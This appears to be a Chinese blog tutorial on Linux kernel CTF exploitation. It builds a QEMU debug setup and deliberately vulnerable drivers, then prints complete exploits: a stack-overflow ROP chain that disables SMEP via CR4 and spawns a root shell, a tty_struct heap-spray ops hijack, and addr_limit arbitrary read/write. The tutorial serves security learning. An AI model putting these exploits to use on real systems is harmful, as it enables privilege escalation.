• Linux kernel pwn notes（内核漏洞利用学习）

    前言

    对这段时间学习的 linux 内核中的一些简单的利用技术做一个记录，如有差错，请见谅。

    相关的文件

    https://gitee.com/hac425/kernel_ctf

    相关引用已在文中进行了标注，如有遗漏，请提醒。

    环境搭建

    对于 ctf 中的 pwn 一般都是给一个 linux 内核文件 和一个 busybox 文件系统，然后用 qemu 启动起来。而且我觉得用 qemu 调试时 gdb 的反应比较快，也没有一些奇奇怪怪的问题。所以推荐用 qemu 来调，如果是真实漏洞那 vmware 双机调试肯定是逃不掉的 (:_。

    编译内核

    首先去 linux 内核的官网下载 内核源代码

    https://mirrors.edge.kernel.org/pub/linux/kernel/

    我用的 ubuntu 16.04 来编译内核，默认的 gcc 比较新，所以编译了 4.4.x 版本，免得换 gcc

    安装好一些编译需要的库

    apt-get install libncurses5-dev build-essential kernel-package

    进入内核源代码目录

    make menuconfig

    配置一下编译参数，注意就是修改下面列出的一些选项 （没有的选项就不用管了

    由于我们需要使用kgdb调试内核，注意下面这几项一定要配置好：
    KernelHacking -->

    • 选中Compile the kernel with debug info
    • 选中Compile the kernel with frame pointers
    • 选中KGDB:kernel debugging with remote gdb，其下的全部都选中。

    Processor type and features-->

    • 去掉Paravirtualized guest support

    KernelHacking-->

    • 去掉Write protect kernel read-only data structures（否则不能用软件断点）

    参考

    Linux内核调试

    编译 busybox && 构建文件系统

    编译 busybox

    启动内核还需要一个简单的文件系统和一些命令，可以使用 busybox 来构建

    首先下载，编译 busybox

    cd ..
wget https://busybox.net/downloads/busybox-1.19.4.tar.bz2 # 建议改成最新的 busybox 
tar -jxvf busybox-1.19.4.tar.bz2
cd busybox-1.19.4
make menuconfig  
make install

    编译的一些配置

    make menuconfig 设置

    Busybox Settings -> Build Options -> Build Busybox as a static binary 编译成 静态文件

    关闭下面两个选项

    Linux System Utilities -> [] Support mounting NFS file system 网络文件系统
    Networking Utilities -> [] inetd (Internet超级服务器)

    构建文件系统

    编译完,、make install 后， 在 busybox 源代码的根目录下会有一个 _install 目录下会存放好编译后的文件。

    然后配置一下

    cd _install
mkdir proc sys dev etc etc/init.d
vim etc/init.d/rcS
chmod +x etc/init.d/rcS

    就是创建一些目录，然后创建 etc/init.d/rcS 作为 linux 启动脚本, 内容为

    #!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
/sbin/mdev -s

    记得加上 x 权限，允许脚本的执行。

    配置完后的目录结构

    image.png

    然后调用

    find . | cpio -o --format=newc > ../rootfs.img

    创建文件系统

    接着就可以使用 qemu 来运行内核了。

    qemu-system-x86_64 -kernel ~/linux-4.1.1/arch/x86_64/boot/bzImage -initrd ~/linux-4.1.1/rootfs.img -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" -cpu kvm64,+smep,+smap --nographic -gdb tcp::1234

    对一些选项解释一下

    -cpu kvm64,+smep,+smap 设置 CPU 的安全选项， 这里开启了 smap 和 smep

    -kernel 设置内核 bzImage 文件的路径

    -initrd 设置刚刚利用 busybox 创建的 rootfs.img ，作为内核启动的文件系统

    -gdb tcp::1234 设置 gdb 的调试端口 为 1234

    参考

    Linux内核漏洞利用（一）环境配置

    内核模块创建与调试

    创建内核模块

    在学习阶段还是自己写点简单 内核模块 (驱动) 来练习比较好。这里以一个简单的用于测试 通过修改 thread_info->addr_limit 来提权 的模块为例

    首先是源代码程序 arbitrarily_write.c

    #include <linux/module.h>
#include <linux/types.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/errno.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <linux/device.h>
#include<linux/slab.h>
#include<linux/string.h>

struct class *arw_class;
struct cdev cdev;
char *p;
int arw_major=248;

struct param
{
    size_t len;
    char* buf;
    char* addr;
};

char buf[16] = {0};

long arw_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{

    struct param par;
    struct param* p_arg;
    long p_stack;
    long* ptr;
    struct thread_info * info;
    copy_from_user(&par, arg, sizeof(struct param));
    
    int retval = 0;
    switch (cmd) {
        case 8:
            printk("current: %p, size: %d, buf:%p
", current, par.len, par.buf);
            copy_from_user(buf, par.buf, par.len);
            break;
        case 7:
            printk("buf(%p), content: %s
", buf, buf);
            break;
        case 5:
            p_arg = (struct param*)arg;
            p_stack = (long)&retval;
            p_stack = p_stack&0xFFFFFFFFFFFFC000;
            info = (struct thread_info * )p_stack;
            
            printk("addr_limit's addr: 0x%p
", &info->addr_limit);
            memset(&info->addr_limit, 0xff, 0x8);
            // 返回 thread_info 的地址， 模拟信息泄露
            put_user(info, &p_arg->addr);
            break;

        case 999:
            p = kmalloc(8, GFP_KERNEL);
            printk("kmalloc(8) : %p
", p);
            break;
        case 888://数据清零
            kfree(p);
            printk("kfree : %p
", p);
            break;
        default:
            retval = -1;
            break;
    }

    return retval;
}

static const struct file_operations arw_fops = {
    .owner = THIS_MODULE,
    .unlocked_ioctl = arw_ioctl,//linux 2.6.36内核之后unlocked_ioctl取代ioctl
};

static int arw_init(void)
{
    //设备号
    dev_t devno = MKDEV(arw_major, 0);
    int result;

    if (arw_major)//静态分配设备号
        result = register_chrdev_region(devno, 1, "arw");
    else {//动态分配设备号
        result = alloc_chrdev_region(&devno, 0, 1, "arw");
        arw_major = MAJOR(devno);
    }
    // 打印设备号
    printk("arw_major /dev/arw: %d", arw_major);

    if (result < 0)
        return result;

    arw_class = class_create(THIS_MODULE, "arw");
    device_create(arw_class, NULL, devno, NULL, "arw");

    cdev_init(&cdev, &arw_fops);
    cdev.owner = THIS_MODULE;
    cdev_add(&cdev, devno, 1);
    printk("arw init success
");
    return 0;
}

static void arw_exit(void)
{
    cdev_del(&cdev);
    device_destroy(arw_class, MKDEV(arw_major, 0));
    class_destroy(arw_class);
    unregister_chrdev_region(MKDEV(arw_major, 0), 1);
    printk("arw exit success
");
}

MODULE_AUTHOR("exp_ttt");
MODULE_LICENSE("GPL");

module_init(arw_init);
module_exit(arw_exit);

    注册了一个 字符设备， 设备文件路径为 /dev/arw, 实现了 arw_ioctl 函数，用户态可以通过 ioctl 和这个函数进行交互。

    在 qemu 中创建设备文件，貌似不会帮我们自动创建设备文件，需要手动调用 mknod 创建设备文件，此时需要设备号，于是在注册驱动时把拿到的 主设备号 打印了出来， 次设备号 从 0 开始试 。创建好设备文件后要设置好权限，使得普通用户可以访问。

    然后是测试代码（用户态调用）test.c

    #include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
struct param
{
    size_t len;
    char* buf;
    char* addr;
};


int main(void)
{
    int fd;
    char buf[16];

    fd = open("/dev/arw", O_RDWR);
    if (fd == -1) {
        printf("open hello device failed!
");
        return -1;
    }
    struct param p;
    p.len = 8;
    p.buf = malloc(32);
    strcpy(p.buf, "hello");
    ioctl(fd, 8, &p);
    ioctl(fd, 7, &p);

    return 0;
}

    打开设备文件，然后使用 ioctl 和刚刚驱动进行交互。

    接下来是Makefile

    obj-m := arbitrarily_write.o
KERNELDIR := /home/haclh/linux-4.1.1
PWD := $(shell pwd) 
OUTPUT := $(obj-m) $(obj-m:.o=.ko) $(obj-m:.o=.mod.o) $(obj-m:.o=.mod.c) modules.order Module.symvers
 
modules:
	$(MAKE) -C $(KERNELDIR) M=$(PWD) modules
	gcc -static test.c -o test
 
clean:
	rm -rf $(OUTPUT)
	rm -rf test

    test.c 要静态编译， busybox 编译的文件系统，没有 libc.

    把 KERNELDIR 改成 内核源代码的根目录。

    同时还创建了一个脚本用于在 qemu 加载的系统中，加载模块，创建设备文件，新增测试用的普通用户。

    mknod.sh

    mkdir /home
mkdir /home/hac425
touch /etc/passwd
touch /etc/group
adduser hac425
insmod arbitrarily_write.ko
mknod /dev/arw c 248 0
chmod 777 /dev/arw 
cat /proc/modules

    mknod 命令的参数根据实际情况进行修改

    为了方便对代码进行修改，写了个 shell 脚本，一件完成模块和测试代码的编译、 rootfs.img 的重打包 和 qemu 运行。

    start.sh

    PWD=$(pwd)
make clean
sleep 0.5
make
sleep 0.5
rm ~/busybox-1.27.1/_install/{*.ko,test}
cp mknod.sh test *.ko ~/busybox-1.27.1/_install/
cd ~/busybox-1.27.1/_install/
rm ~/linux-4.1.1/rootfs.img
find . | cpio -o --format=newc > ~/linux-4.1.1/rootfs.img
cd $PWD
qemu-system-x86_64 -kernel ~/linux-4.1.1/arch/x86_64/boot/bzImage -initrd ~/linux-4.1.1/rootfs.img -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" -cpu kvm64,+smep --nographic -gdb tcp::1234

    image.png

    然后 ./start.sh，就可以运行起来了。

    image.png

    进入系统后，首先使用 mknod.sh 安装模块，创建好设备文件等操作，然后切换到一个普通用户，执行 test 测试驱动是否正常。对比源代码，可以判断驱动是正常运行的

    gdb调试

    用 qemu 运行内核时，加了一个 -gdb tcp::1234 的参数， qemu 会在 1234 端口起一个 gdb_server ，我们直接用 gdb 连上去即可。

    image.png

    记得加载 vmlinux 文件，以便在调试的时候可以有调试符号。

    为了调试内核模块，还需要加载 驱动的 符号文件，首先在系统里面获取驱动的加载基地址。

    / # cat /proc/modules | grep arb
arbitrarily_write 2168 0 - Live 0xffffffffa0000000 (O)
/ #

    然后在 gdb 里面加载

    gef➤  add-symbol-file ~/kernel/arbitrarily_write/arbitrarily_write.ko 0xffffffffa0000000
add symbol table from file "/home/haclh/kernel/arbitrarily_write/arbitrarily_write.ko" at
	.text_addr = 0xffffffffa0000000
Reading symbols from /home/haclh/kernel/arbitrarily_write/arbitrarily_write.ko...done.
gef➤

    此时就可以直接对驱动的函数下断点了

    b arw_ioctl

    然后运行测试程序 ( test )，就可以断下来了。

    image.png

    利用方式汇总

    内核 Rop

    Rop-By-栈溢出

    本节的相关文件位于 kmod

    准备工作

    开始打算直接用

    https://github.com/black-bunny/LinKern-x86_64-bypass-SMEP-KASLR-kptr_restric

    里面给的内核镜像，发现有些问题。于是自己编译了一个 linux 4.4.72 的镜像，然后自己那他的源码编译了驱动。

    默认编译驱动开了栈保护，懒得重新编译内核了，于是直接 在 驱动里面 patch 掉了 栈保护的检测代码。

    image.png

    漏洞

    漏洞位于 vuln_write 函数

    static ssize_t vuln_write(struct file *f, const char __user *buf,size_t len, loff_t *off)
{
  char buffer[100]={0};

  if (_copy_from_user(buffer, buf, len))
    return -EFAULT;
  buffer[len-1]='';

  printk("[i] Module vuln write: %s
", buffer);

  strncpy(buffer_var,buffer,len);

  return len;
}

    可以看到 _copy_from_user 的参数都是我们控制的，然后把内容读入了栈中的 buffer， 简单的栈溢出。

    把驱动拖到 ida 里面，发现没有开启 cancary , 同时 buffer 距离 返回地址的 偏移为 0x7c

    image.png

    所以只要读入超过 0x7c 个字节的数据就可以覆盖到 返回地址，控制 rip

    利用

    如果没有开启任何保护的话，直接把返回地址改成用户态的 函数，然后调用

    commit_creds(prepare_kernel_cred(0))

    就可以完成提权了。

    可以参考： Linux内核漏洞利用（三）Kernel Stack Buffer Overflow

    秉着学习的态度，这里我开了 smep 。 这个安全选项的作用是禁止内核去执行用户空间的代码。

    但是我们依旧可以执行内核的代码 ，于是在内核 进行 ROP。

    ROP的话有两种思路

    1. 利用 ROP ，执行 commit_creds(prepare_kernel_cred(0)) , 然后 iret 返回用户空间。
    2. 利用 ROP 关闭 smep , 然后进行 ret2user 攻击。
    利用 rop 直接提权

    此时布置的 rop 链 类似下面

    image.png

    就是 调用 commit_creds(prepare_kernel_cred(0)) , 然后 iret 返回到用户空间。

    参考

    入门学习linux内核提权

    利用 rop 关闭 smep && ret2user

    系统根据 cr4 寄存器的值判断是否开启 smep， 然而 cr4 寄存器可以使用 mov 指令进行修改，于是事情就变得简单了，利用 rop 设置 cr4 为 0x6f0 （这个值可以通过用 cr4原始值 & 0xFFFFF 得到）， 然后 iret 到用户空间去执行提权代码。

    在 gdb 中貌似看不到 cr4 寄存器，可以从 内核的崩溃信息里面获取 开启 smep 下的 cr4 寄存器值

    exp:

    #include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
 
typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);

// 两个函数的地址
_commit_creds commit_creds = (_commit_creds) 0xffffffff810a1420;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff810a1810;

unsigned long xchg_eax_esp = 0xFFFFFFFF81007808;
unsigned long rdi_to_cr4 = 0xFFFFFFFF810635B4; // mov cr4, rdi ;pop rbp ; ret
unsigned long pop_rdi_ret = 0xFFFFFFFF813E7D6F;
unsigned long iretq = 0xffffffff814e35ef;
unsigned long swapgs = 0xFFFFFFFF81063694;  // swapgs ; pop rbp ; ret
unsigned long poprbpret = 0xffffffff8100202b;  //pop rbp, ret


unsigned long mmap_base = 0xb0000000;

void get_shell() {
    system("/bin/sh");
}


void get_root() {
    commit_creds(prepare_kernel_cred(0));
}

/* status */
unsigned long user_cs, user_ss, user_rflags;
void save_stats() {
    asm(
        "movq %%cs, %0
" // mov rcx, cs
        "movq %%ss, %1
" // mov rdx, ss
        "pushfq
"        // 把rflags的值压栈
        "popq %2
"       // pop rax
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags) : : "memory" // mov user_cs, rcx; mov user_ss, rdx; mov user_flags, rax
        );
}



int main(void)
{
    int fd;
    char buf[16];

    fd = open("/dev/vuln", O_RDWR);
    if (fd == -1) {
        printf("open /dev/vuln device failed!
");
        return -1;
    }

    save_stats();
    printf("mmap_addr: %p
", mmap(mmap_base, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0));
    // 布局 rop 链
    unsigned long rop_chain[] = {
        pop_rdi_ret,
        0x6f0,
        rdi_to_cr4, // cr4 = 0x6f0
        mmap_base + 0x10000,
        (unsigned long)get_root,
        swapgs, // swapgs; pop rbp; ret
        mmap_base,   // rbp = base
        iretq,
        (unsigned long)get_shell,
        user_cs,
        user_rflags,
        mmap_base + 0x10000,
        user_ss
    };


    char * payload = malloc(0x7c + sizeof(rop_chain));
    memset(payload, 0xf1, 0x7c + sizeof(rop_chain));
    memcpy(payload + 0x7c, rop_chain, sizeof(rop_chain));
    write(fd, payload, 0x7c + sizeof(rop_chain));
    return 0;
}

    说说 rop 链

    • 首先使用 pop rdi && mov cr4,rdi ，修改 cr4寄存器，关掉 smep
    • 然后 ret2user 去执行用户空间的 get_root 函数，执行 commit_creds(prepare_kernel_cred(0)) 完成提权
    • 然后 swapgs 和 iret 返回用户空间，起一个 root 权限的 shell 。

    参考

    Linux Kernel x86-64 bypass SMEP - KASLR - kptr_restric

    Rop-By-Heap-Vulnerability

    漏洞

    首先放源码，位于 heap_bof

    驱动的代码基本差不多，区别点主要在 ioctl 处

    char *ptr[40];  // 指针数组，用于存放分配的指针
struct param
{
    size_t len;    // 内容长度
    char* buf;     // 用户态缓冲区地址
    unsigned long idx; // 表示 ptr 数组的 索引
};
............................
............................
............................
long bof_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{

    struct param* p_arg;
    p_arg = (struct param*)arg;
    int retval = 0;
    switch (cmd) {
        case 9:
            copy_to_user(p_arg->buf, ptr[p_arg->idx], p_arg->len);
            printk("copy_to_user: 0x%x
", *(long *)ptr[p_arg->idx]);
            break;
        case 8:
            copy_from_user(ptr[p_arg->idx], p_arg->buf, p_arg->len);
            break;
        case 7:
            kfree(ptr[p_arg->idx]);
            printk("free: 0x%p
", ptr[p_arg->idx]);
            break;
        case 5:
            ptr[p_arg->idx] = kmalloc(p_arg->len, GFP_KERNEL);
            printk("alloc: 0x%p, size: %2x
", ptr[p_arg->idx], p_arg->len);
            break;

        default:
            retval = -1;
            break;
    }

    return retval;
}

    首先定义了一个 指针数组 ptr[40] ，用于存放分配的内存地址的指针。

    实现了驱动的 ioctl 接口来向用户态提供服务。

    • cmd 为 5 时，根据参数调用 kmalloc 分配内存，然后把分配好的指针，存放在 ptr[p_arg->idx], 为了调试的方便，打印了分配到的内存指针
    • cmd 为 7 时，释放掉 ptr 数组中指定项的指针， kfree 之后没有对 ptr 中的指定项置0。
    • cmd 为 8 时，往 ptr 数组中 指定项的指针中写入 数据，长度不限.
    • cmd 为 9 时， 获取 指定项 的指针 里面的 数据，然后拷贝到用户空间。

    驱动的漏洞还是很明显的， 堆溢出 以及 UAF .

    利用

    slub简述

    要进行利用的话还需要了解 内核的内存分配策略。

    在 linux 内核 2.26 以上的版本，默认使用 slub 分配器进行内存管理。slub 分配器按照零售式的内存分配。他会把大小相近的对象（分配的内存）放到同一个 slab 中进行分配。

    它首先向系统分配一个大的内存，然后把它分成大小相等的内存块进行内存的分配，同时在分配内存时会对分配的大小 向上取整分配。

    可以查看 /proc/slabinfo 获取当前系统 的 slab 信息

    image.png

    这里介绍下 kmalloc-xxx ，这些 slab 用于给 kmalloc 进行内存分配。 假如要分配 0x2e0 ，向上取整就是 kmalloc-1024 所以实际会使用 kmalloc-1024 分配 1024 字节的内存块。

    而且 slub 分配内存不像 glibc 中的malloc， slub 分配的内存的首部是没有元数据的（如果内存块处于释放状态的话会有一个指针，指向下一个 free 的块）。

    所以如果分配几个大小相同的内存块， 它们会紧密排在一起（不考虑内存碎片的情况）。

    给个例子（详细代码可以看最后的 exp )

        struct param p;
    p.len = 0x2e0;
    p.buf = malloc(p.len);
    for (int i = 0; i < 10; ++i)
    {
        p.idx = i;
        ioctl(fds[i], 5, &p);  // malloc
    }

    这一小段代码的作用是 通过 ioctl 让驱动调用10 次 kmalloc(0x2e0, GFP_KERNEL)，驱动打印出的分配的地址如下

    [    7.095323] alloc: 0xffff8800027ee800, size: 2e0
[    7.101074] alloc: 0xffff8800027ef000, size: 2e0
[    7.107161] alloc: 0xffff8800027ef400, size: 2e0
[    7.111211] alloc: 0xffff8800027ef800, size: 2e0
[    7.115165] alloc: 0xffff8800027efc00, size: 2e0
[    7.131237] alloc: 0xffff880002791c00, size: 2e0
[    7.138591] alloc: 0xffff880003604000, size: 2e0
[    7.141208] alloc: 0xffff880003604400, size: 2e0
[    7.146466] alloc: 0xffff880003604800, size: 2e0
[    7.154290] alloc: 0xffff880003604c00, size: 2e0

    可以看到除了第一个（内存碎片的原因），其他分配到的内存的地址相距都是 0x400, 这说明内核实际给我的空间是 0x400 .

    尽管我们要分配的是 0x2e0 ，实际内核会把大小向上取整 到 0x400

    参考

    linux 内核 内存管理 slub算法 （一） 原理

    代码执行

    对于堆溢出和 UAF 漏洞，其实利用思路都差不多，就是想办法修改一些对象的数据，来达到提权的目的，比如改函数表指针然后执行代码提权， 修改 cred 结构体直接提权等。

    这里介绍通过修改 tty_struct 中的 ops 来进行 rop 绕过 smep 提权的技术。

    结构体定义在 linux/tty.h

    struct tty_struct {
        int     magic;
        struct kref kref;
        struct device *dev;
        struct tty_driver *driver;
        const struct tty_operations *ops;
        int index;

        /* Protects ldisc changes: Lock tty not pty */
        struct ld_semaphore ldisc_sem;
        struct tty_ldisc *ldisc;

        struct mutex atomic_write_lock;
        struct mutex legacy_mutex;

    其中有一个 ops 项（64bit 下位于 结构体偏移 0x18 处）是一个 struct tty_operations * 结构体。 它里面都是一些函数指针，用户态可以通过一些函数触发这些函数的调用。

    当 open("/dev/ptmx",O_RDWR|O_NOCTTY) 内核会分配 tty_struct 结构体，64 位下改结构体的大小为 0x2e0（可以自己编译一个同版本的内核，然后在 gdb 里面看），所以实现代码执行的思路就很简单了

    • 通过 ioctl 让驱动分配若干个 0x2e0 的 内存块
    • 释放其中的几个，然后调用若干次 open("/dev/ptmx",O_RDWR|O_NOCTTY) ，会分配若干个 tty_struct , 这时其中的一些 tty_struct 会落在 刚刚释放的那些内存块里面
    • 利用 驱动中 的 uaf 或者 溢出，修改 修改 tty_struct 的 ops 到我们 mmap 的一块空间，进行 tty_operations 的伪造， 伪造 ops->ioctl 为 要跳转的位置。
    • 然后 对 /dev/ptmx 的文件描述符，进行 ioctl ，实现代码执行
    rop

    因为开启了 smep 所以需要先 使用 rop 关闭 smep, 然后在 执行 commit_creds(prepare_kernel_cred(0)) 完成提权。

    这里有一个小 tips ，通过 tty_struct 执行 ioctl 时， rax 的值正好是 rip 的值，然后使用 xchg eax,esp;ret 就可以把 rsp 设置为 rax&0xffffffff （其实就是 &ops->ioctl 的低四个字节）。

    于是 堆漏洞的 rop 思路如下(假设 xchg_eax_esp 为 xchg eax,esp 指令的地址 )

    • 首先使用 mmap， 分配 xchg_eax_esp&0xffffffff 作为 fake_stack 并在这里布置好 rop 链
    • 修改 ops->ioctl 为 xchg_eax_esp
    • 触发 ops->ioctl ， 然后会跳转到 xchg_eax_esp ，此时 rax=rip=xchg_eax_esp , 执行 xchg eax,esp 后 rsp为 xchg_eax_esp&0xffffffff， 之后就是 根据 事先布置好的 rop chain 进行 rop 了。
    #include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver,
    struct file *filp, int idx);
    int (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int (*write)(struct tty_struct * tty,
    const unsigned char *buf, int count);
    int (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    int (*write_room)(struct tty_struct *tty);
    int (*chars_in_buffer)(struct tty_struct *tty);
    int (*ioctl)(struct tty_struct *tty,
    unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty,
    unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty,
    unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
    int (*get_icount)(struct tty_struct *tty,
    struct serial_icounter_struct *icount);
    const struct file_operations *proc_fops;
};

struct param
{
    size_t len;
    char* buf;
    unsigned long idx;
};

typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
// 两个函数的地址
_commit_creds commit_creds = (_commit_creds) 0xffffffff810a1420;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff810a1810;
unsigned long xchg_eax_esp = 0xFFFFFFFF81007808;
unsigned long rdi_to_cr4 = 0xFFFFFFFF810635B4; // mov cr4, rdi ;pop rbp ; ret
unsigned long pop_rdi_ret = 0xFFFFFFFF813E7D6F;
unsigned long iretq = 0xffffffff814e35ef;
unsigned long swapgs = 0xFFFFFFFF81063694;  // swapgs ; pop rbp ; ret
unsigned long poprbpret = 0xffffffff8100202b;  //pop rbp, ret
void get_shell() {
    system("/bin/sh");
}
void get_root() {
    commit_creds(prepare_kernel_cred(0));
}
/* status */
unsigned long user_cs, user_ss, user_rflags;
void save_stats() {
    asm(
        "movq %%cs, %0
" // mov rcx, cs
        "movq %%ss, %1
" // mov rdx, ss
        "pushfq
"        // 把rflags的值压栈
        "popq %2
"       // pop rax
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags) : : "memory" // mov user_cs, rcx; mov user_ss, rdx; mov user_flags, rax
        );
}
int main(void)
{
    int fds[10];
    int ptmx_fds[0x100];
    char buf[8];
    int fd;

    unsigned long mmap_base = xchg_eax_esp & 0xffffffff;

    struct tty_operations *fake_tty_operations = (struct tty_operations *)malloc(sizeof(struct tty_operations));

    memset(fake_tty_operations, 0, sizeof(struct tty_operations));
    fake_tty_operations->ioctl = (unsigned long) xchg_eax_esp; // 设置tty的ioctl操作为栈转移指令
    fake_tty_operations->close = (unsigned long)xchg_eax_esp;

    for (int i = 0; i < 10; ++i)
    {
        fd = open("/dev/bof", O_RDWR);
        if (fd == -1) {
            printf("open bof device failed!
");
            return -1;
        }
        fds[i] = fd;
    }

   printf("%p
", fake_tty_operations);

    save_stats();
    printf("mmap_addr: %p
", mmap(mmap_base, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0));
    // 布局 rop 链
    unsigned long rop_chain[] = {
        pop_rdi_ret,
        0x6f0,
        rdi_to_cr4, // cr4 = 0x6f0
        mmap_base + 0x10000,
        (unsigned long)get_root,
        swapgs, // swapgs; pop rbp; ret
        mmap_base,   // rbp = base
        iretq,
        (unsigned long)get_shell,
        user_cs,
        user_rflags,
        mmap_base + 0x10000,
        user_ss
    };
    // 触发漏洞前先把 rop 链拷贝到 mmap_base
    memcpy(mmap_base, rop_chain, sizeof(rop_chain));

    struct param p;
    p.len = 0x2e0;
    p.buf = malloc(p.len);

    // 让驱动分配 10 个 0x2e0  的内存块
    for (int i = 0; i < 10; ++i)
    {
        p.idx = i;
        ioctl(fds[i], 5, &p);  // malloc
    }
    // 释放中间的几个
    for (int i = 2; i < 6; ++i)
    {
        p.idx = i;
        ioctl(fds[i], 7, &p); // free
    }

    // 批量 open /dev/ptmx, 喷射 tty_struct
    for (int i = 0; i < 0x100; ++i)
    {
        ptmx_fds[i] = open("/dev/ptmx",O_RDWR|O_NOCTTY);
        if (ptmx_fds[i]==-1)
        {
            printf("open ptmx err
");
        }
    }
    p.idx = 2;
    p.len = 0x20;
    ioctl(fds[4], 9, &p);

    // 此时如果释放后的内存被 tty_struct
    // 占用，那么他的开始字节序列应该为
    //
    for (int i = 0; i < 16; ++i)
    {
        printf("%2x ", p.buf[i]);
    }
    printf("
");
    // 批量修改 tty_struct 的 ops 指针 
    unsigned long *temp = (unsigned long *)&p.buf[24];
    *temp = (unsigned long)fake_tty_operations;
    for (int i = 2; i < 6; ++i)
    {
        p.idx = i;
        ioctl(fds[4], 8, &p);
    }
    // getchar();
    for (int i = 0; i < 0x100; ++i)
    {
        ioctl(ptmx_fds[i], 0, 0);
    }
    getchar();
    return 0;
}

    参考

    一道简单内核题入门内核利用

    利用 thread_info->addr_limit

    DEMO

    这里使用的代码就是 内核模块创建与调试 中的示例代码。

    代码中大部分都是用来测试一些内核函数，其中对本节内容有效的代码为：

    long arw_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
    .....................
    .....................
    .....................
    switch (cmd) {
        .....................
        .....................
        .....................
        case 5:
            p_arg = (struct param*)arg;
            p_stack = (long)&retval;
            p_stack = p_stack&0xFFFFFFFFFFFFC000;
            info = (struct thread_info * )p_stack;
            
            printk("addr_limit's addr: 0x%p
", &info->addr_limit);
            memset(&info->addr_limit, 0xff, 0x8);
            // 返回 thread_info 的地址， 模拟信息泄露
            put_user(info, &p_arg->addr);
            break;

    利用栈地址拿到 thread_info 的地址

    首先模拟了一个内核的信息泄露。

    利用 程序的局部变量的地址 （&retval） 获得内核栈的地址。又因为 thread_info 位于内核栈顶部而且是 8k （或者 4k ） 对齐的

    union thread_union {
      struct thread_info thread_info;
      unsigned long stack[THREAD_SIZE/sizeof(long)];
};

    image.png

    所以利用 栈地址 & (~(THREAD_SIZE - 1)) 就可以计算出 thread_info 的地址。

    THREAD_SIZE 可以为 4k , 8k 或者是 16k 。

    可以在 Linux 源代码 里面搜索。

    x86_64 定义在 arch/x86/include/asm/page_64_types.h

    #ifdef CONFIG_KASAN
#define KASAN_STACK_ORDER 1
#else
#define KASAN_STACK_ORDER 0
#endif

#define THREAD_SIZE_ORDER	(2 + KASAN_STACK_ORDER)
#define THREAD_SIZE  (PAGE_SIZE << THREAD_SIZE_ORDER)// 左移 2， 页大小为 4k, 所以是 16k
#define CURRENT_MASK (~(THREAD_SIZE - 1))

    PAGE_SIZE 为 4096 , THREAD_SIZE_ORDER 为 2 , 所以 THREAD_SIZE= 4 * 4096=0x4000

    所以 (~(THREAD_SIZE - 1)) 为

    >>> hex(~(0x4000-1)&0xffffffffffffffff)
'0xffffffffffffc000L'

    所以 thread_info 的地址就是 p_stack&0xFFFFFFFFFFFFC000 , 然后利用 put_user 传递给 用户态。

    修改 thread_info->addr_limit

    thread_info->addr_limit 用于限制用户态程序能访问的地址的最大值，如果把它修改成 0xffffffffffffffff ，我们就可以读写整个内存空间了 包括 内核空间

    
struct thread_info {
	struct task_struct	*task;		/* main task structure */
	__u32			flags;		/* low level flags */
	__u32			status;		/* thread synchronous flags */
	__u32			cpu;		/* current CPU */
	mm_segment_t		addr_limit;
	unsigned int		sig_on_uaccess_error:1;
	unsigned int		uaccess_err:1;	/* uaccess failed */
};

    在 thread_info 偏移 0x18 （64位）处就是 addr_limit ， 它的类型为 long。

    在驱动的源码中，模拟修改 了 thread_info->addr_limit 的操作，

    memset(&info->addr_limit, 0xff, 0x8);

    执行完后，我们就可以读写任意内存了。

    利用 pipe 实现任意地址读写

    修改 thread_info->addr_limit 后，我们还不能直接的进行任意地址读写，需要使用 pipe 来中转一下，具体的原因以后再研究。

    int pipefd[2];
//dest 数据的写入位置， src 数据来源， size 大小
int kmemcpy(void *dest, void *src, size_t size)
{
    write(pipefd[1], src, size);
    read(pipefd[0], dest, size);
    return size;
}

    先用 pipe(pipefd) 初始化好 pipefd ， 然后使用 kmemcpy 就可以实现任意地址读写了。

